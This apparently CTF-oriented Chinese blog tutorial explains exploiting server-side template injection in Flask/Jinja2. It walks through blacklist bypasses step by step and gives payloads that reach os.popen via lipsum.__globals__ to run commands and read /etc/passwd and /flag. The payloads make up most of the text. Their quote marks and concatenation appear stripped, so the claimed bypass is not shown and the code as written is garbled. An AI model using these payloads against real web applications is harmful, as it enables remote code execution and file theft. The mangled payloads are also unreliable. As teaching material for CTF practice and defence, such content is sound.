SSTI注入

张开发
2026/6/14 10:23:49 15 分钟阅读
SSTI注入
在 Flask Jinja2 SSTI 漏洞中当用户输入被直接拼接到render_template_string时攻击者可通过模板注入执行任意代码。若后端存在黑名单过滤如class、subclasses、os、popen等则需要通过字符串拼接、属性访问等方式绕过。以下是逐步测试的方法以最终 payload{{lipsum.__globals__[os][popen](cat /flag).read()}}为例。1. 探测 SSTI 是否存在首先确认模板注入点是否有效。常见的探测 payloadjinja2{{ 7*7 }} {{ 7*7 }} {{ config }} {{ self.__class__ }}若返回49、7777777、配置对象等说明存在 SSTI。测试步骤在参数中输入{{7*7}}观察页面是否输出49。若输出49则注入点可用。2. 识别过滤机制尝试使用常见属性如__class__时可能被拦截。可通过尝试获取错误信息或观察返回内容判断黑名单。例如输入jinja2{{ .__class__ }}若返回空或报错说明class被过滤。进一步测试黑名单中的其他关键词。测试步骤输入{{ |attr(__class__) }}若也被过滤则可能过滤了字符串__class__。尝试{{ |attr(__bases__) }}若可用说明__base__或__bases__未在名单中。尝试{{ lipsum }}观察是否返回函数对象lipsum是 Jinja2 内置的全局函数通常可用。3. 寻找未被过滤的全局对象lipsum是一个常用的内置函数其__globals__属性包含大量模块和函数。若__globals__未被过滤可通过它访问os等模块。测试步骤输入{{ lipsum }}查看是否输出function lipsum ...。尝试{{ lipsum.__globals__ }}观察是否返回全局字典。若被过滤可尝试lipsum|attr(__globals__)。4. 绕过黑名单关键词黑名单包含os、popen、flag、open等。可通过字符串拼接绕过os拼接成ospopen拼接成popencat /flag拼接成cat /flag测试步骤先测试能否通过拼接访问os{{ lipsum.__globals__[os] }}若返回module os则成功。再测试popen{{ lipsum.__globals__[os][popen] }}若返回built-in function popen则成功。测试命令执行不实际读文件先测试无害命令{{ lipsum.__globals__[os][popen](echo test).read() }}若输出test则说明可执行命令。5. 构造最终 payload确认os.popen可用后读取 flag 文件。假设 flag 在/flag或/fl?ag文件名被过滤使用拼接绕过jinja2{{ lipsum.__globals__[os][popen](cat /flag).read() }}测试步骤先尝试读取已知文件如/etc/passwd若不在黑名单中验证输出{{ lipsum.__globals__[os][popen](cat /etc/passwd).read() }}若成功再替换为cat /flag。6. 其他绕过技巧若上述失败若__globals__被过滤可使用|attr(__globals__)或|attr(__globals__)。若lipsum被禁用可尝试request、config、url_for等全局对象。若popen被禁用可改用system无回显配合文件读取或使用subprocess模块若可导入。7. 总结测试流程探测注入{{7*7}}→ 确认执行。寻找可用全局对象{{lipsum}}→ 确认存在。绕过黑名单访问 os{{lipsum.__globals__[os]}}→ 确认返回模块。绕过黑名单调用 popen{{lipsum.__globals__[os][popen](echo test).read()}}→ 确认执行。读取目标文件拼接文件名最终 payload。

更多文章